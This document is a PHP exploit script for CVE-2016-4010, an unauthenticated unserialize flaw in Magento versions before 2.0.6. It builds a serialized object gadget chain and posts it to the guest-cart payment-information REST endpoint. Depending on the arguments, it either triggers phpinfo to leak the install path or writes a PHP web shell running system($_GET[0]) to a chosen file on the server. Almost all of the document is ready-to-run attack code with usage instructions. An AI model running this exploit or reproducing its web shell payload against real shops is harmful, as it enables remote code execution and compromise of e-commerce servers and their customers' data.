Magento Unauthenticated Arbitrary File Write

<?php

// Exploit Title: [CVE-2016-4010] Magento unauthenticated arbitrary unserialize -> arbitrary write file
// Date: 18/05/206
// Exploit Author: agix (discovered by NETANEL RUBIN)
// Vendor Homepage: https://magento.com
// Version: < 2.0.6
// CVE : CVE-2016-4010

// to get a valid guestCartId
// * add an item in your cart
// * go to checkout
// * fill the shipping address stuff and look at the POST request to /rest/default/V1/guest-carts/<guestCartId>/shipping-information
// (* in the response check the payment method it may vary from checkmo)
//
// If you didn't provide whereToWrite, it will execute phpinfo to leak path.


class Magento_Framework_Simplexml_Config_Cache_File extends DataObject
{
    function __construct($data){
        $this->_data = $data;
    }
}

class Credis_Client{
    const TYPE_STRING      = 'string';
    const TYPE_LIST        = 'list';
    const TYPE_SET         = 'set';
    const TYPE_ZSET        = 'zset';
    const TYPE_HASH        = 'hash';
    const TYPE_NONE        = 'none';
    const FREAD_BLOCK_SIZE = 8192;

    /**
     * Socket connection to the Redis server or Redis library instance
     * @var resource|Redis
     */
    protected $redis;
    protected $redisMulti;

    /**
     * Host of the Redis server
     * @var string
     */
    protected $host;

    /**
     * Port on which the Redis server is running
     * @var integer
     */
    protected $port;

    /**
     * Timeout for connecting to Redis server
     * @var float
     */
    protected $timeout;

    /**
     * Timeout for reading response from Redis server
     * @var float
     */
    protected $readTimeout;

    /**
     * Unique identifier for persistent connections
     * @var string
     */
    protected $persistent;

    /**
     * @var bool
     */
    protected $closeOnDestruct = TRUE;

    /**
     * @var bool
     */
    protected $connected = TRUE;

    /**
     * @var bool
     */
    protected $standalone;

    /**
     * @var int
     */
    protected $maxConnectRetries = 0;

    /**
     * @var int
     */
    protected $connectFailures = 0;

    /**
     * @var bool
     */
    protected $usePipeline = FALSE;

    /**
     * @var array
     */
    protected $commandNames;

    /**
     * @var string
     */
    protected $commands;

    /**
     * @var bool
     */
    protected $isMulti = FALSE;

    /**
     * @var bool
     */
    protected $isWatching = FALSE;

    /**
     * @var string
     */
    protected $authPassword;

    /**
     * @var int
     */
    protected $selectedDb = 0;

    /**
     * Aliases for backwards compatibility with phpredis
     * @var array
     */
    protected $wrapperMethods = array('delete' => 'del', 'getkeys' => 'keys', 'sremove' => 'srem');

    /**
     * @var array
     */
    protected $renamedCommands;

    /**
     * @var int
     */
    protected $requests = 0;


    public function __construct($resource) {
        $this->redis = new Magento_Sales_Model_Order_Payment_Transaction($resource);
    }
}

class DataObject
{
    /**
     * Object attributes
     *
     * @var array
     */
    protected $_data = [];

    /**
     * Setter/Getter underscore transformation cache
     *
     * @var array
     */
    protected static $_underscoreCache = [];
}

abstract class AbstractModel2 extends DataObject
{
    /**
     * Prefix of model events names
     *
     * @var string
     */
    protected $_eventPrefix = 'core_abstract';

    /**
     * Parameter name in event
     *
     * In observe method you can use $observer->getEvent()->getObject() in this case
     *
     * @var string
     */
    protected $_eventObject = 'object';

    /**
     * Name of object id field
     *
     * @var string
     */
    protected $_idFieldName = 'id';

    /**
     * Data changes flag (true after setData|unsetData call)
     * @var $_hasDataChange bool
     */
    protected $_hasDataChanges = false;

    /**
     * Original data that was loaded
     *
     * @var array
     */
    protected $_origData;

    /**
     * Object delete flag
     *
     * @var bool
     */
    protected $_isDeleted = false;

    /**
     * Resource model instance
     *
     * @var MagentoFrameworkModelResourceModelDbAbstractDb
     */
    protected $_resource;

    /**
     * Resource collection
     *
     * @var MagentoFrameworkModelResourceModelDbCollectionAbstractCollection
     */
    protected $_resourceCollection;

    /**
     * Name of the resource model
     *
     * @var string
     */
    protected $_resourceName;

    /**
     * Name of the resource collection model
     *
     * @var string
     */
    protected $_collectionName;

    /**
     * Model cache tag for clear cache in after save and after delete
     *
     * When you use true - all cache will be clean
     *
     * @var string|array|bool
     */
    protected $_cacheTag = false;

    /**
     * Flag which can stop data saving after before save
     * Can be used for next sequence: we check data in _beforeSave, if data are
     * not valid - we can set this flag to false value and save process will be stopped
     *
     * @var bool
     */
    protected $_dataSaveAllowed = true;

    /**
     * Flag which allow detect object state: is it new object (without id) or existing one (with id)
     *
     * @var bool
     */
    protected $_isObjectNew = null;

    /**
     * Validator for checking the model state before saving it
     *
     * @var Zend_Validate_Interface|bool|null
     */
    protected $_validatorBeforeSave = null;

    /**
     * Application Event Dispatcher
     *
     * @var MagentoFrameworkEventManagerInterface
     */
    protected $_eventManager;

    /**
     * Application Cache Manager
     *
     * @var MagentoFrameworkAppCacheInterface
     */
    protected $_cacheManager;

    /**
     * @var MagentoFrameworkRegistry
     */
    protected $_registry;

    /**
     * @var PsrLogLoggerInterface
     */
    protected $_logger;

    /**
     * @var MagentoFrameworkAppState
     */
    protected $_appState;

    /**
     * @var MagentoFrameworkModelActionValidatorRemoveAction
     */
    protected $_actionValidator;

    /**
     * Array to store object's original data
     *
     * @var array
     */
    protected $storedData = [];
}

abstract class AbstractExtensibleModel extends AbstractModel2
{
    protected $extensionAttributesFactory;

    /**
     * @var MagentoFrameworkApiExtensionAttributesInterface
     */
    protected $extensionAttributes;

    /**
     * @var AttributeValueFactory
     */
    protected $customAttributeFactory;

    /**
     * @var string[]
     */
    protected $customAttributesCodes = null;

    /**
     * @var bool
     */
    protected $customAttributesChanged = false;

}

abstract class AbstractModel extends AbstractExtensibleModel
{
}

class Magento_Sales_Model_Order_Payment_Transaction extends AbstractModel
{
    /**#@+
     * Supported transaction types
     * @var string
     */
    const TYPE_PAYMENT = 'payment';

    const TYPE_ORDER = 'order';

    const TYPE_AUTH = 'authorization';

    const TYPE_CAPTURE = 'capture';

    const TYPE_VOID = 'void';

    const TYPE_REFUND = 'refund';

    /**#@-*/

    /**
     * Raw details key in additional info
     */
    const RAW_DETAILS = 'raw_details_info';

    /**
     * Order instance
     *
     * @var MagentoSalesModelOrderPayment
     */
    protected $_order = null;

    /**
     * Parent transaction instance
     * @var MagentoSalesModelOrderPaymentTransaction
     */
    protected $_parentTransaction = null;

    /**
     * Child transactions, assoc array of transaction_id => instance
     *
     * @var array
     */
    protected $_children = null;

    /**
     * Child transactions, assoc array of txn_id => instance
     * Filled only in case when all child transactions have txn_id
     * Used for quicker search of child transactions using isset() as opposite to foreaching $_children
     *
     * @var array
     */
    protected $_identifiedChildren = null;

    /**
     * Whether to perform automatic actions on transactions, such as auto-closing and putting as a parent
     *
     * @var bool
     */
    protected $_transactionsAutoLinking = true;

    /**
     * Whether to throw exceptions on different operations
     *
     * @var bool
     */
    protected $_isFailsafe = true;

    /**
     * Whether transaction has children
     *
     * @var bool
     */
    protected $_hasChild = null;

    /**
     * Event object prefix
     *
     * @var string
     * @see MagentoFrameworkModelAbstractModel::$_eventPrefix
     */
    protected $_eventPrefix = 'sales_order_payment_transaction';

    /**
     * Event object prefix
     *
     * @var string
     * @see MagentoFrameworkModelAbstractModel::$_eventObject
     */
    protected $_eventObject = 'order_payment_transaction';

    /**
     * Order website id
     *
     * @var int
     */
    protected $_orderWebsiteId = null;

    /**
     * @var MagentoSalesModelOrderFactory
     */
    protected $_orderFactory;

    /**
     * @var MagentoFrameworkStdlibDateTimeDateTimeFactory
     */
    protected $_dateFactory;

    /**
     * @var TransactionFactory
     */
    protected $_transactionFactory;

    /**
     * @var MagentoSalesApiOrderPaymentRepositoryInterface
     */
    protected $orderPaymentRepository;

    /**
     * @var MagentoSalesApiOrderRepositoryInterface
     */
    protected $orderRepository;

    /**
     * @param MagentoFrameworkModelContext $context
     * @param MagentoFrameworkRegistry $registry
     * @param MagentoFrameworkApiExtensionAttributesFactory $extensionFactory
     * @param AttributeValueFactory $customAttributeFactory
     * @param MagentoSalesModelOrderFactory $orderFactory
     * @param MagentoFrameworkStdlibDateTimeDateTimeFactory $dateFactory
     * @param TransactionFactory $transactionFactory
     * @param MagentoFrameworkModelResourceModelAbstractResource $resource
     * @param MagentoFrameworkDataCollectionAbstractDb $resourceCollection
     * @param array $data
     * @SuppressWarnings(PHPMD.ExcessiveParameterList)
     */
    public function __construct($resource) {
        $this->_resource = $resource;
    }
}

class Magento_Framework_DB_Transaction{
    protected $_objects = [];

    /**
     * Transaction objects array with alias key
     *
     * @var array
     */
    protected $_objectsByAlias = [];

    /**
     * Callbacks array.
     *
     * @var array
     */
    protected $_beforeCommitCallbacks = ["phpinfo"];
}

if(count($argv) < 3){
    echo 'Usage: '.$argv[0].' <magento_uri> <guestCartId> (whereToWrite)'.chr(0x0a);
    echo 'To get a valid guestCartId'.chr(0x0a);
    echo '* add an item in your cart'.chr(0x0a);
    echo '* go to checkout'.chr(0x0a);
    echo '* fill the shipping address stuff and look at the POST request to /rest/default/V1/guest-carts/<guestCartId>/shipping-information'.chr(0x0a);
    echo '(* in the response check the payment method it may vary from "checkmo")'.chr(0x0a).chr(0x0a);
    echo 'If you didn't provide whereToWrite, it will execute phpinfo to leak path.'.chr(0x0a);
    exit();
}

if(count($argv) === 4){
    $data = [];
    $data['is_allowed_to_save'] = True;
    $data['stat_file_name'] = $argv[3];
    $data['components'] = '<?php system($_GET[0]); ?>';
    $resource = new Magento_Framework_Simplexml_Config_Cache_File($data);
}
else{
    $resource = new Magento_Framework_DB_Transaction();
}

$redis = new Credis_Client($resource);
$serialized = serialize($redis);

$payload = json_decode('{"paymentMethod":{"method":"checkmo", "additional_data":{"additional_information":""}}, "email": "[email protected]"}');

$payload->paymentMethod->additional_data->additional_information = str_replace('Magento_Framework_DB_Transaction', 'MagentoFrameworkDBTransaction', str_replace('Magento_Sales_Model_Order_Payment_Transaction', 'MagentoSalesModelOrderPaymentTransaction', str_replace('Magento_Framework_Simplexml_Config_Cache_File', 'MagentoFrameworkSimplexmlConfigCacheFile', $serialized)));

for($i=0; $i<2; $i++){
    $c = curl_init($argv[1].'/rest/V1/guest-carts/'.$argv[2].'/set-payment-information');
    curl_setopt($c, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
    curl_setopt($c, CURLOPT_POSTFIELDS, json_encode($payload));
    curl_exec($c);
    curl_close($c);
}

?>

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